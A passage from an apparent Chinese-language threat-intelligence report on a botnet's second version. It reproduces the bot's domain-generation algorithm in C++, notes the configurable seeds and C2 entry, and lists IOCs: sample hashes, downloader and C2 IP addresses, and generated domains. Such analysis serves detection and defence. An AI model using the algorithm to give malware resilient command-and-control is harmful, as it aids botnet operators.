char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
在V1中，DGA Seed是硬编码0x05397FB1，生成的域名总数为300。
在V2中，DGA Seed和生成的域总数由配置指定。
目前我们得到了以下4对种子和总计数组合，对应于生成的DGA域，参考IOC部分。
SEED | TOTAL COUNT
---|---
0x01275c63 | 0x12c
0x01275c63 | 0x3e8
0x04bc65bc | 0x12c
0x00375d5a | 0x400
#### 新功能3：C2报告条目
在V1中，bot连接C2的条目是在硬编码的`/min.js`中定义的。
结果包如下：
在V2中，bot连接C2的条目现在由配置文件指定。
结果包如下：
目前，我们共有3套录入信息。
### IOC
#### Smaple MD5
bdaf967a6aef57d135b0806192884edc
7f26365e8d1e1a6ad8199bdddd4e9b3a
0840951a0c3219db5607754bcdbc1ac1
d29fb0306ee4b8cfe18c339ee42a98f9
305a600d309c1bda9e731803e3efca97
fb469128e67aad899a2b6709cbfe72a6
19020682555fa33ecf98a11fed499ea9
b4e5cecdff73f66786f87c1238912003
2818dfd8337fbb610f8910746c4219d8
d08e539c47100935fb8ba88a384f0305
f8263759c9111641d09c9fac6bcd9186
55ab7aa2ceadb3d30784123f2d534fdf
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2
2b484c7f104fe8160022e04d056d1135
df84b40ac3bd56bd15ab1d8b4a2bc1a7
2d6ea04f1f55471113f37239e5e23b19
a20d3f09eebd4102157ecdebf9557326
4b608985b7f741b0f0ab9f3d59e48f03
492928276181ca030fc2e1099b27beb2
300e68b03d8fbef6ce29de4d386eacf3
4419982c5fb43367203dca14ae6c1311
f8fdf251acc39fdb4f4444fc7ceb1d0e
c2695139e23205b96fb07e7ea963216c
431028b7a672c4167ecc77e36df24236
61783c6433288689a280bb2640e5f2af
3e0088ec332172e42c50dd034b7eaae1
953bd5431f144a976474d7c78de526ec
3dacf45ff17ba5d6018d3f44c0ea4a02
30dcce7dfd26f59dee9895cb6c70d51b
2b7c98eb58062401c8cff9b5fe95b0a3
ff4dbfc96ffce74e5ea057e50e0496e3
2be2ab5752261a733b5267527fe65d44
a375f20090d9a58c66dc22dd37286d34
ce120caed6b72cb89918dd2b329ceeb9
01f50c3fc1223e3f96d28bc4cd2c3e56
5be121ae51e970d4d0a5c08590099d79
fc98d2deb8563292d830ba37bbb243ad
afb782061df074ef2852953f47206aaf
d417f515d24c56e05b9ac17cf6ab2ec3
10824897899469775974122075c14b56
0274956798c61a5eecb12d331835854e
0808dbe61524a6a2a901e6ab2ac66e24
e1b0b6943d0f209e51e6b5b6744e6a54
663e0cf63d6b3f25bb33fea0876f3ef0
052f9c2f465ab33d68957bc25c4e5c0b
04800a25ce6c8d15e553459deec68bb9
a086b7da8aaf7a27b67db00e69eb1b7a
77c9d66e1ace1f840ed0416ab365260e
ebb4b45ce5622d75762f62e631436bb2
ce4c23642878788ecaedd0903663244d
00aa9b52e2f3b6ad4426466d7ca5f523
00b2a36d4070983bab0953ce613d8d8b
0257a639039f86f159bc6a4a39cded34
036bc9217942fd5b15f654b4f5dab24f
05e3369b655e5033d0f74bb3296863b2
09d9c3b5f7cf1fec26f812d5250bfeb1
0ac1705fe969fa6ccd3f449aac008b4d
0f32884f84a366c047b95408316b2c52
10ad3d84b869e383f1e88d5fc134e912
1338e36265e8d45ba7689c918ef9b34a
147b2ea408bef641a2e9d3cb4f7aedb9
16956c0468e6e2b6665ac4bb81af3164
16edc8d0d4be1385e9ddadfc722deae4
178e0c03eb83fb6cebb11d29e0e47ec9
21e37846936908ac90e6802e92d991df
2c5e58573bf1783c4557d71f9f1a04b4
2c7d58b1c5c172f88de7dbc02805eac0
2e953b78a03b430e803bde99bc0c83e3
36578d0dd5685abe6c4ed063221c59d0
37a6966b4092317e0b4079bdf0f5b0a0
39aaf64bd70846d2fe7b77ebc42be8a3
39d57c1abd7ae2488cb435c1ebc6d49e
3bdf12f6aeb84d02119914e63ada932e
40e88784c93651cec9792487575842e9
418188e977fc3b280d8919287aeda05b
4293a45ee5cd00da5505c878bc4fee08
4efdc2e227fb4b5e61eb5220f9e6d7f4
505cafe9c309ce61113dcb24124d1eba
5077972350fce365d085e178f4668c8d
54c9be7cd4a9f57728352a3426b32e4f
5b55dce8baa9818de1b828a5ba6b80f4
6a566eeaab50e22eed6f01684d7521fd
6c66cf2f923aa9da1494c99d1938cfb6
72f00975e83856252b8c0c3c687254ef
7ab879bc960b409f17bcad39a0bf7e3b
7aea64456ab14dd5d4e060ebfcefd79d
7e85b4596f95d1d597c46fa72d348061
7e88eb10e9c67dc650a6ae4912d65e63
82cef032e2e0fcc9f5582cd5916b97b7
843f44acc93cbffadd271e4ef5e03103
89c3f65fccb06f914c68aca218b0679d
8e6ca6bd922574a44a0a43b32a58ba52
8e8fd75a560505878cd2c76dca2c7ffe
92e6185f8d2216eef77b8bcc7c730c57
94c41d49388acb0089948c3ec618bc53
9db1cbd2f1d2fbd26aa7c1934e1f182e
9fdfedf862f11146efd18b42f86268e1
a20ab64e41014fbc992f2dfcb11a10d1
a2967ffd179faaeaab49d48b1473db00
a6fd221cd729d08550acd53767154de3
b1af3254ae6111efa3e2cb85eacf8e99
b459053d209c6d188ba89f1097fed1da
b5985a3fc08623d58d72d342da722f03
b9ffd7e55c105ab52b81f66badf05846
bbcd3ca4fbc0b40b0c9149e6371b9432
bfaa39fb6a151b9a64e59ffd80aa1bc1
c46121de170ecd5560b459ccf9f7557b
c587740989c196806c0a9c5e8e07f127
c77aa0f78c48901d7cc34a871c67eea2
d2eeb2a760d7a453e9a895c6f161503d
d7d5cee215140b7511b03885db89cb18
e52e9f80bd81abc3e855a88fc77a4df4
e9cb10408706890e48c3758831a631c1
ea319e0ef1b4e3d65a7e4fc23397a20e
ead0e821c939ce0bd271f5c148f5c8ca
ebe39d80a817a090bc1e20c4517b4fb4
f225a03e407b0f32235d7dfdd333f95e
f2e28b01742757942c1ce5acbbb8ee00
f3cbf39e3e95bd3f39bf6dd4e38f5690
f4445e7cab5694e56008a6ac8382b0cc
f9ab5e1483fee74e78f81ee2d8c3992b
fb24abf484c484670be0444a7ae0f918
fca1611067d38b6ce3234886f0d24cb3
fe5e88679c091136f0ff3c4f5ded9775
feda5a6340a7f71a75c43f43a57b0c1d
#### Downloader IP
31.14.40.107 ASN19624|Data_Room,_Inc Romania|Bucharest|Unknown
88.218.16.12 ASN50673|Serverius_Holding_B.V. Netherlands|Flevoland|Dronten
93.174.89.36 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.156 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.59.5 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.143 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
#### Stage-1 IP C2
162.218.122.123:443 8100|QuadraNet_Enterprises_LLC United_States|New_Jersey|Secaucus
111.90.149.238:443 45839|Shinjiru_Technology_Sdn_Bhd Malaysia|Kuala_Lumpur|Unknown
103.193.4.113:443 36351|SoftLayer_Technologies_Inc Singapore|Singapore|Unknown
185.44.75.216:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown
185.44.75.125:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown
79.141.168.119:443 133398|Tele_Asia_Limited China|Hong_Kong|Unknown
#### Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)
overobozikish-semipezavution-interigupant.com
protivapical-semiletuful.info
minikibocency-interorofuly-cotufuhify.com
proxekigite.net
exuvasuhern.biz
multinipebian.name
inuzodaless-iluxunency.com
exubokilike-antilifizement.biz
transumudate.org
misuradabite-minibelaped-interetukuxable.net
prexunevament-macrotelulike-antipucudument.name
disorihous-monofulefiful.name
enecixety.biz
transoxapakancy-antidukovify.net
subimemibate.name
iledozible.net
unumopafy-antimixaly.biz
interilurocary-provohiless.name
inuvelasure.com
exovifist-multiseferiness.com
subidekancy-ileratily.name
postosofaping-irikinalike.net
ememacotian-ultrakenikoward-exudetancy.info
minilavuxufy-microtuhaly.name
multimilufy-exirorary.info
ultracadopiship-exinuhilike.net
subasamuhal-overufaring-emedotifure.info
disadugous-microdopiful-disicivize.org
subuvusen.info
enozufety-inilorely.name
inocinossion.info
disanevisish-misanolazen.biz
transegunant.com
exelituhese-depifukary.info
interazimist-microlitonish.com
prefunidom-postaxugiment.biz
ilolulian-nonisotive-overenevecese.net
procihanoly-postutegism.net
semivudely-cocehiward-renesoful.name
ultrafisekian-multitecaness.org
reravugission-enulebuten.com
sububofahood-semigumudom.biz
transinoromite-prohetahety-ilapeben.net
renuxakassion-ultravavamilike.org
emufatohood-regunicotion.info
interixamily.name
minirehugeship-prefepedism-rezomabiment.biz
enefiling-semipisigical.net
irebition-cocusifify.biz
interaxomaty-enunamage-prebuzipure.com
uninicaxous.info
postobigahese-micronepodom.biz
macrogizofant.name
macrogucapofy-semifenaly-interusoboty.name
multitemaber-delutafy-unehonecism.info
minikibamize-interekekadom.name
disulahifing-prefuzetion.biz
underubulian.com
exovezufy.com
prehagovern-subapalaship-iripatixist.info
multimanibic-transirizikage.net
anticisubaless-overatexossion-ultrakidefalike.net
misutokahood.net
resibapese-iribelancy.biz
underefunible-subunizal.biz
ultracibeward-unimumanable.info
overasizous-semigofehify-emepaving.name
ultracuvupancy-multisacokency.name
disuxegance-unohupuship.com
unuramesion-antiximocable-premerudation.biz
transatidaly-intereducigism-unugiheth.com
micropigession-cosenath.net
exevetedism.biz
minixamesion.org
imedenese-inecucary-unoseluhood.org
subegivaward-semiluriful.info
transudakicern-exepagetn-ilonunety.name
ilidinurary-imelunern.info
enixihidom-covohipive-multixohelike.com
semicekument-disahezulible-nonahopohood.com
promucidaty-detupobant.info
macropuxolian-disatusopic.net
resiredeful-disamefese-nononutetn.info
multimovatiward.org
unifapath-pregohuhite.com
exofabity-posteramited.org
micromuniten-semirekiveful.name
ilaxovage-exezihoness.net
micromurocese-proniragance.com
prohufabament.biz
ilakihopity-irediletous-disatibant.net
semiborexoless-cocukuviship-unaderible.name
postatavexed-antitikadotion-demekimeness.net
subobekous-inohixical.com
semitinity-comoxuness.org
antisavuty-overulogolity.com
prokarumement-inanuvify.com
semisomiment-interuholudom-underovixitable.net
misirahiward-prelabakuly-multimipumish.biz
ultrasibodilike.org
exesuran-overefibadom.name
overifaker-monokabarize.com
nonudaboness-antimofidaty-interapupily.name
transefacity-nonuvosolive-postamevession.name
delilelike.org
imonabaval-postesudable.org
exozebizist.biz
macrogotafy-refahuly.info
conefify-seminehivern-emugugitical.info
copugalike.net
misemokemity-ilemacation-multitopehood.net
micromefoxism-microtiruful-postasacation.name
ultralegoroth-eximonist.name
minipozebilike.com
semimiranure-unulasion-cozukuship.org
misumenite-macrovironuhood-misitedion.info
ilogesuric-nonunihern-ultrarahupaness.com
emupuping.biz
minilosoth-microlimexession-enogamity.com
unerihish-interavicumite.org
unitevous-transedufudom-enusomozetn.net
remabarety-ultrabocotant.name
enugezession-interokasugance.org
ireditixary-macrocokakuward-rehohidian.net
emugadatian.info
interelobidom-postirirament-ultraparobesion.org
unixogency-dezofudoward-misekovary.info
transubivocal-prebekutan-exapimity.biz
underekenocary-exosivufism-multikolulike.net
rezazizage-prekuguhical-antibidoxic.org
irugexary-ultrafibahood.com
unasutify.info
enolirekage-imusegacion.name
underatekedom-ultralugarehood-irezizible.info
transohuluric.net
iruzusefy-monokokicancy.net
semivifetite-nonecicolike-retiradure.org
misobaling-cofodotuhood-nononepasion.org
misipeheness-misepucance-enoxelize.org
exulucovible-minivikecath.net
exefilevern-interoronary-monohusussion.info
overukizudom-interuvigument-macrorucalike.org
prexofunoful-transohuzize.org
irunanic.info
macrokadubofy.net
unonedeling-postakesemism.org
irumabodish-ultragotedary.name
postubixion.net
prenoxifodom-interihafian.com
subocetesion.org
seminukeful-ultraburovaward-misodihapism.info
interevafekism-nonogikan.biz
cozedesehood-prevurodom.name
interucezaful.info
cozusogetn-inobonuly.name
overoxevance.net
misupasor-overofexussion.biz
minizerexision.net
nonotutamese-cotekafure-enotezor.com
irutihalary-interunutohency.net
revuremure-imemapesion.net
microfufeser-misorirous-transotazafese.org
unumalefy-micronikaly-interepafoty.name
transugapity-misikivan-interikaxodern.com
pronecussion-interuretese.net
retorerument.biz
multipukogoward.net
monopinubism-prodigifession-minikafovure.name
delezubic-coxegukism.biz
enarufency-prebuhulotion-ultrasomoguness.com
imezigion-transikufamency.org
prekugagancy.net
irafinopify-enusukical-exekedous.biz
underikehuful.name
interavutagic-unacanese.name
overebopoxer-subifebilage.name
deziroming-multizoposion.com
redorusely-disivonuty.info
inukatiless.info
enihufahance-subaniletn.name
ilinugor.net
prerulation-multinapuhood.org
antisixegity-macrodosiness.org
antigadegan-unazekency.biz
cosoxufy.net
imuraxant-devarareship-microfarulical.net
semifibiciful-iloxivible.net
antivunaful.biz
minirorisible.info
underuxuced.net
irelevonous.name
iluvinakite-rekamepize-iranibish.info
disihosive-irazoniward.com
iraxikith-imitokabal.info
overagofadom-disedumance-nonababifion.name
depoxuzeness-imumipolish.name
minikepupese-macroperofy-progilobing.net
presisutiment-underorunipancy-exovomocant.biz
postelomuty-disazonaly-transazabesance.com
emumezite-minivasudeship-nonevuxion.info
interumipument-inesaber-remokedern.net
prenekomation.biz
disurolal-misosexant.biz
inasacily.name
transinexiran-antidimekudom.biz
multilalopant-interutoxoxed.org
microfamanuless-overudilelical-unobigous.info
enizafegify-irinocic-inonesoment.name
disabihal.net
monovizurable-exopecancy.info
deveruness-prezicepaty-ilorokoly.name
enevogussion.biz
enegexic-preremassion-macrokevath.com
emurapion.name
postirezubous-irexozihood-refebodom.info
overikucoful.biz
underehopoxance.com
nonedagous.biz
enodehoment.info
derigusage-disuzetiful-iluhokepist.net
unedadite.info
ultramuzify-exakibern.info
underumemance.org
prototifed-semibobazant-exaludalike.net
prebiniment-overerabudate-irotihate.biz
underepohese-unudegakan.biz
underunabity-overenatoly.biz
inalazossion-enirohefed-misozagen.biz
minibikovesion-proxuzocoful-underucabation.info
cocidedith-mononekoty-underululely.biz
multixotetous-transavotebist-antibanission.biz
underobotugancy-rekinotiful.info
ultraniderufy-unadukical.info
postizeban-exotibath.com
revodiciment-enafedity.org
exifikate.name
coxaviraward.net
semiregoziless-copibufy-imetovuhive.info
multihabician-multisugicish.biz
minibazehood-nonokikamen-inesomaful.biz
multificiward.net
subexidamion.biz
enizitavian-monolexadom.name
ultralanerency-underexibibancy.org
prelemely-interamuguzish-refesunuless.info
ilizalement-transemetirous.org
protazaren-nonohahity-underucofofity.net
emokacinan-overemacoless-disuredossion.name
interohazate-imivimion.info
overetunudom-inigohiment-interemokepen.com
ununimeness-ememuturible-macromazazuth.com
nonexepic.info
interizutidom-disivadement-enigegadom.info
postezakical-monoxizidom.info
interigaciful.name
inopofalize.org
unucibency-inevodession-iletakate.net
imotuzaship.net
micrometavation-interaruviful.name
ultranedoxify.org
emavevalike.com
retagucage.net
imopexaward-prokoguful.info
iletodish.com
rebikizuless-postaretexive.net
recolidom-disanuviment-postozagive.net
semimocalate-subemazive-disasihement.name
transiputotion.name
ultramasicize-overusixern-nonisupimary.info
enupevuxen-emuhomebal.name
disupasolance-misaperiward-misetolobern.name
overagohan-suboxifaric-minicorugure.biz
multirecelike-prehesakan.net
rezumugity.com
imanazuxen-postomodaty-disaxurate.com
prezotecussion-cobazesish-transurunist.net
emafezipant-cogapahohood-regifedom.biz
disogotesance-misomuded-overezanaful.biz
multibefelefy.net
monopitocen-semikahassion.name
interorozable-exoharuship.net
exetering-enehanument.name
disisopilance-prefemekuly-inopikety.name
overuvitacish-exerotetn-interunaziless.name
interepafary-irepatolike-microhatavament.name
disoxacify-subunevish-interopofuvency.org
imoputic-minilumezese.biz
postatotoly-postecumify-misazugofese.info
overugevapen.com
emasuvasion-suborumonage-inagamage.net
ireporerate-transetihed-unekelish.biz
minimumiward.com
presogifoless.info
macrokocador-ilevevugible-semitafument.name
miniderosion-prokihegiful-iluhonition.name
minifagadize-inazitubish.org
propafaban-misoraxafate.info
coceposion-misesixetancy-diselihecing.net
misigibezity-interepesission-underaderudion.org
semilagikan-emebaxobency-postunepan.net
monoxumution-overomaxish-unuramic.biz
inazogiful-overexunution-disikutancy.com
iroboxetn-ultrakolixoness-profoxution.info
transitigetn-misexuraward.org
exifimimary-enovucefancy-procexacency.com
iruribihood.com
microrinuguty.name
overotuxilous-subeciricary-disatakity.com
imelumezage.biz
transaxanary-mononixuful.info
iluvenern.org
monoxeberiless-inivekicic.net
semibutadom-multimakagary-postumicefite.net
unatinahern-interohogian.com
emexunency-underatakihing.net
unorisibity.info
minirifohood-pregenubotion-inipidorist.org
monotamekission-interuxeriless.info
ilobamodetn-seminufelotion.name
minikuxuness.com
nonigepefy.org
antiharisable-imucesese-postoxuzern.org
monogosession-underipimish.net
misupunubical.biz
postezotetion-overukopiful-inazukiling.org
propagarite.net
exafisixure-ultratomavance.biz
inadikuture-profazetion-overalupance.net
exobobaward.org
exafadify.name
disivazovous-semiheceless.biz
macrodopoxihood-monobudadom-cobabadahood.com
unehohevize-demuzezeth.net
nonuhasoship-microvibodidom-postagomament.name
interekekation-interedimian.net
retivelible-renonutely-ultrazutuward.org
imapuvate.info
postirikify-misuredity-underokonaty.info
multixodamalike.net
prezopement-interutafudom-denaseship.net
misatonazical-macronuguhood.com
monohupukoty-inozenimive-antimedoty.biz
ultranigixalike-procavigance-pregisiless.biz
coziloxive-multitusarist.biz
disaxopive-emifosish.info
macrogenehood-imifikizetn-overuguxakant.org
iragatofy-unoligion.info
interumohassion-minipepixor-underuxesission.biz
defasenision-microzisekeful-disixusian.net
semibokuful-ilihimetion-overumuhical.org
imerisigance.info
minimifith-nonahacinance.name
overaconadom.biz
macrolehekian-minicepesion-subuvosify.name
multisonision-exopedure.biz
enomunancy-imunekable-macrobimigal.biz
inumizeful-ultrazigupuward-profaxixive.net
semimicosage-exumadivic-macrohocative.info
ultragopuzosion.org
irobaguness-subedesical.info
postiduzancy-semixabelion.net
prevukefoless.name
minihuxexohood-emobuzolion-ilepiziful.info
interexivity-reluvegan.com
exonulefy-rehudukeless-intericamission.biz
colefutasion-antimudukeful.name
overatoxify.net
imivegion.biz
minihubofy.net
monosaviradom-interotarure-monotavahical.com
emobedolance-ilalamure.net
unanupaness-rehodifuty-enivapuly.name
depanivaship-irinipalike.net
semivofizor-mononecedom-underetecism.com
semirirekotion.name
postocaripist.com
imaxebuship-semicagition.org
prehorinoful.name
ultrazopinism.biz
overezaxiban-subotemern.info
ultrahalaping-minitacoship-irodolity.info
enoneviment-multifivizify.name
minizugohood-nonosubotion.biz
postuzapozese-nonitisidal-disibibaless.info
interipagity.com
imipanusion.com
prerivefency.org
reloputy-macrohigixing-underumumenary.net
misazuzasible-transozotament-overukocavage.com
imakupous-enarapition.biz
postatubily.name
overitubokian.com
prebabafotion-minitikihood.net
promoxevancy.org
emudamoth-progerosify-nonigunazist.name
transulipish-micronodapadom.info
minidohetion-underirukimish-rekutimity.com
semivopety-postamegary-resokepize.net
irufuvith-emikazufy.org
semificabance.net
prepolebuful-interuhugipible.net
semihesoly-overamoxatous-irunepan.info
disesener.net
nonogatilike-semihexission-enisoxuless.biz
detozigish-overohezibify-prodavetish.net
microsapirible.net
microcahelern.com
imaheroship-nonesenist-ilamihist.com
microlunanity-emoruraship-unesatalike.net
subixaler.name
minilosuduward-premulivaly-interomizeter.org
prezatofite-subabokist-overozamulor.com
subipebukous-minirohosion-imurofusism.biz
transulenify.com
monosozamoless-enoxuvussion.biz
enovulesancy-relixuhical-nonelomasion.com
misexilic-ultrakiroriward.com
semixufegish-unogohify.com
unororize-minizonify.org
protihuless.name
underovogarify.net
probetuxancy.net
semimotaly.name
ultrazatudeship-semifelasency-exinimohate.biz
cotifosion.org
nonudugihite.biz
ilefemern.com
unogehish-disemozihous.net
misasirary-overarotion.org
exepemitan-enapibazan-rehetasen.net
monokakoxing-monomixety.name
colovopage-minigurigist-overopuhite.org
irocohiship-misoroxogist.info
postocavary-probutaxable.com
exifibeness.net
imedazancy.name
postogabivize-irehefoship.net
monofasodom-cohokakize-overukurudom.info
underesaxiful.info
multikoniward.org
microdurukish.com
irutokiship-prorokeless-multihucidic.name
disogerefor-proremorate-probudurution.biz
macrohikonen-overecinive.com
exelopoth-unazicofy.org
regibiless.info
cotemufehood.com
anticiduxity-underuhorily-macrolamiward.net
propecely.biz
overuxibist.net
imarodilike-misilesulous.name
transamexaped-semigafoful.biz
inaladahian.org
antiforozedom.info
ilivelolion-misasicamen-ultravufuketh.org
imezirary.name
ultrabinelesion-nonamamakite-postuvahution.name
overolokage.org
imarurese-underigelic.org
exopagancy.info
coxedath-microhihovassion.biz
enonuxedom-inififiment.biz
mininivocese.info
dedezaseth.net
nonesatahency.info
multiteruped-dezimofion-intererezadity.net
nonosuneric-enonunehal.com
exuluresion-preputuxern.org
iredigabance.biz
ilanovese.com
nonahuled.info
underamamedom-overakarancy.org
subutudal.biz
multihonahood.org
promopalaty-overeceduly-overinamuhetn.com
unutotecance-transohaxament-ultrasodeding.info
multisixahood-prepehadom.info
ilofidal-pronubosation-multikituhood.org
unahemiward.net
subekoled.biz
macrocilavoship-prehibaless.info
ultradusirern-underigamate.org
imuneped.info
postiruped-unoxulolor.name
enulirigage.com
irapifalike.net
unimegure.biz
desekileward.net
semikuxuly.biz
minizasiviship.com
imopiripor-minicotaguness-emakegoward.net
antihibemical-subopazilian.info
posteverozous-revuvefeful.info
ultramiliward-iropeteness-unavobadite.name
ultramifogilike-emegupeship.org
imedobolic-underohuxaful-postihatetion.name
disafimize.net
semivasabission-macropesitity-disamemous.org
irogavohite-ultratovuship-prepisinadom.biz
postedufiful.name
enatezuty-multitiviness-subosasiward.net
prorupuhal-anticeluty-postebuvese.org
semibahoty-multizesatoth-subiteped.biz
minimivivic-ilobakancy.com
imukoxive-transexepuped.net
semidoxidom-ilahofament.info
transilutution-macroxucihood-irisenizive.name
postexacency.org
monobixisist-monotavigeless-underaparession.biz
conenelike-imapezuship.com
emunozusion-misifebesure-underisunotion.name
covefumuth-irafezodance.info
interalekubant-nonohebehood.org
renirozian-unupasity-enosunetion.info
interanakily.name
inaverance-refudily-overepenary.org
nonavimoth-semitugisage-microkogopism.com
subohabogite-transesihedom.biz
ultramedihood.com
emuboceward-imadunical-ininifagese.org
revuduly-interutedable-progusuled.net
misosecefy-imagebenance-transegasossion.biz
ilavonuxage-preruzegese.com
resepetion-disodamapan.org
ematezexese.biz
ultramololian-disukagement-delumulike.com
imedavuped-overikixist-microvetipancy.net
emutebopen-overerusamize-exehilify.net
misamoxan.info
enusepohance.net
preguposety.info
interamosian-emategecist-cocofoth.net
antideravoment.name
enevagation.info
postipapily-iluvumety-multifezaness.org
pregovozetn.net
antigusuless-iluvuling-regogeholess.info
dekeruvan.biz
ultradelosion.com
imufihoness-prokikubety-multilukipoth.org
iraxurisal-minibogicusion.com
subotesohism-enovipity-transebovohage.com
subuxipoship.net
unodobasion.net
exanogance-macrodaceboward.com
antifusituless-enefilency-imonaxenish.info
interuleriment-disecuzidom.name
ultralurohood-emebutify.info
postehicosen-semimezigity-ultragefeness.net
irizuhify-disacozolize-prenuzonission.info
transenasary-misusisuship-exuvadalern.info
conudigian-ilexusotion-debifehood.com
unoporiward-exekomixist.info
multihigotish-ultrarafuth-antihedecetn.net
misenunive-develilor-coxigicical.info
conuvuship-irexupish-cobogocary.info
underosavidom-iligimimed-exehefugor.info
inuvomize.net
noninogafy-prexanufed-imububify.org
rexazuless-covihafy.com
presisebical-semisorugive.org
emomofible.name
minizakehood-examapusion-unipopehood.net
eximumilism.info
enihodomical.com
nonelugahood-nonuhakasion.org
semilopaful-interetanetion.biz
underaripily.info
comimipal-cotedibolike.net
unesidukive-postacidition.info
minizikeness.org
antikulelussion-ultrarudinify.info
inakogite-suberivatal-minitoraship.net
exasazesion.net
subotipern-underokepible-imucerolize.biz
disorelure.net
proceboly-postalonary.org
subimutath-antinekuban-regazoly.name
multihacubian.name
overifefolen-antizohosetn-subazaloxate.name
enetonifish-antidabity.biz
ultrasipoth-unesufefy.net
unatodelike-emimilotern-ultrafezuvite.biz
overemacomity-emeguvism.name
ultracurupous-inezokoty-postaculinese.net
rehanassion.name
postanezed-prevufission-enafamish.com
prozuzuzency-microtugevan-misatozemical.name
multiguzahite.name
overivehesion-unekasese.info
macrovebith-monohegabassion.info
inolunudom.info
postacetiful-comicision-monoxocegoful.info
macrologesefy-imihumeth-microcecefession.biz
transecisite-nonavumoship.net
imivitanen-depotuhood.com
emahugorable.name
ultrapexeth-prexenapassion-enakafomure.com
nonogihobage-enalodution-disakemic.com
semilasiking-emezuconess.net
reguzoxish.net
monozuxacan-subodacoship.org
proxihudom-disoberoment-minicatilike.org
emicepehood.com
emucovian-minicumohood-micromoficity.org
prekuzecaly.biz
eniburussion-postehupugian-antitifodic.org
exodigate.name
disezaguzible-unexemal.biz
enesehuly-postifalagancy-pretesubist.com
antigitopument-enapamary.org
resikement.name
macrogulocaward.com
microfaholy-inafecipish-micropedaly.name
debufihive.info
disuficetn.net
monotikement-postahamesous-emazezify.name
underatocation-interubagoxive.com
pregukalossion.info
inigeledom-delazalehood-microhobulism.com
antigarofite-emirorous.biz
multirahuness.net
unubikelage-dedemacate-detetofible.biz
decitemosion-semifesuhen-exucaroxen.name
transakikipian-exumofegor.info
enagorezion-emonefihood.net
miseremeward.net
microfafuly-interubiting.net
irisavith.com
nonubobeship.net
monomokudom-postakacument.info
minikoxuzeward-exevenezer.name
iloxolurism-prezafenidom.name
ilafepohary.com
nonatebify-repoxuly.info
overubuger-semiparekency.net
exucovebist.biz
delipision.com
semihuxoful.info
ilavisety.biz
enomapuless-ilefaxian-emamivotous.name
macrodifusahood-preguhotation-inugevian.org
irukorion.info
interazapant-emehecage-inikivecure.org
prehutitussion.biz
overemamadom-dekumuzahood.com
microgokuhish-imizafapical-ilekimian.net
antihifunor.org
mononazoxement.biz
cofedosion-imuhucezen.name
multibizoward-imebugian-inapibable.com
antirerovoly-macrovakaward.org
unefefical.info
transevovant.net
semixutakedom-interugogegate.net
rexamaken.com
semihudaly-underadatish.net
nonivagage-underirurety-coxinoreth.org
irazituship-emigeculike.net
iravabure-overinanacen-imokikuhood.com
prefacebity-inipofous-imeguzian.name
disoririty-repumubing-semivoracish.net
antizifadary.org
antivezudadom-multigizoship-presogumancy.org
prehesement.name
inezizism-misovidism-cohahudesion.net
semiferumaly-inebupety-multiciziness.org
antitanuty-disidovely.biz
underemipession-postukalite-prerakover.net
imoratolike.com
emodizate-multimovulike-semifukelable.net
irasaduben.biz
ultrariloness-revazotion.name
minibolefoth-monohavutission-ilesabity.com
monozicission-demobisern-inucukure.org
microlofaless-minirixigiship-monoloteless.biz
ultradeveship-subavurion.biz
cotibiship-exobehazure.biz
minihemazable-ultrahezesion.net
microvoporaly-inomaxaty.biz
disosinuless-minidikopuship-micromacical.com
nonavozohood-protiredom.biz
disohobonese-monofafonoty-disadivite.com
irerabirian.info
overodemudom.name
overecobism-revacidom-ultrasaxeship.org
misulumosion.com
microkafedaly.name
dehanulable-iluseser.org
monozafession-enopateless.name
postonibixary.org
irugecuward.com
imocedify-ultraretiward.com
unufivugal-ultratisesoship.com
prolecehed.com
unozuconess-antibibetion-underadodern.org
pronimulure-pretememian.com
rexarurission.biz
inopuridom.info
inisoxism-misexufusion.com
prexobohan.org
nonutevor-ilugupoly.name
underumohic-antinelenify.net
emukalian-ilademic-exazikafy.com
monosideless-disogupic.com
univoruzant-macrobazumehood.org
exobetugify.biz
delafomite.info
interilicigese-prozelaxern-nonovavopate.name
transaxuted-subifaxasible-interuruxemage.com
prefusatal.com
antisamament-enazanafify.com
rexorifely-overozehixian.com
unazepixian-postonucese.com
micropokavify-rekudagaful.name
inezalize-microcodukoly.name
underunogamure-regiloxese.org
subehebatish-disilafary-subuzedehood.net
semitasesism-subuhobukancy-underasarion.com
nonitikaver-postuhodossion.name
transihuxedom.info
interuvotary-prexodufation-mininarisoness.com
antikizamossion-multibacegelike-monocuderument.biz
enezumal-subacicist.biz
cozekuzoward.com
proxezalage-emopugexize.name
overunipeture.com
nonunucagian.biz
degorofy-proresily-ultraxuboder.biz
conacobian.info
enufoterity-semigucadom-minidubiship.com
exotofision.com
misonaducency-ilupopity-minimogelary.info
inebuvive.com
emesepulike.net
nonasuvafian.info
transikoxish-nonibasifible-postututadency.com
antixulazadom-interapimament-transohikidom.info
enunihedency-rexudition-postilomoful.biz
inofavible-antizazaful-interuduged.org
rerivebuly.name
inegexussion-macrohobopelike.org
unifupikure.biz
macrozihutify-prebisazoless.info
miniheloxahood-unadogision-microlepuvish.org
monokapehaty-debuzoness-imagamuward.org
antifuxuviless-eninotern-micromisogeless.biz
denazeship-propixecedom-overakusance.com
subaduran-ultramehegehood-micronatugive.org
miseluhudance-enegefese-monotagegite.org
recikokession-transemosoless.biz
depanulehood-emilorixist.name
postenuvible.org
monoveboty-minihutizish.info
underalubossion-enakedotable.net
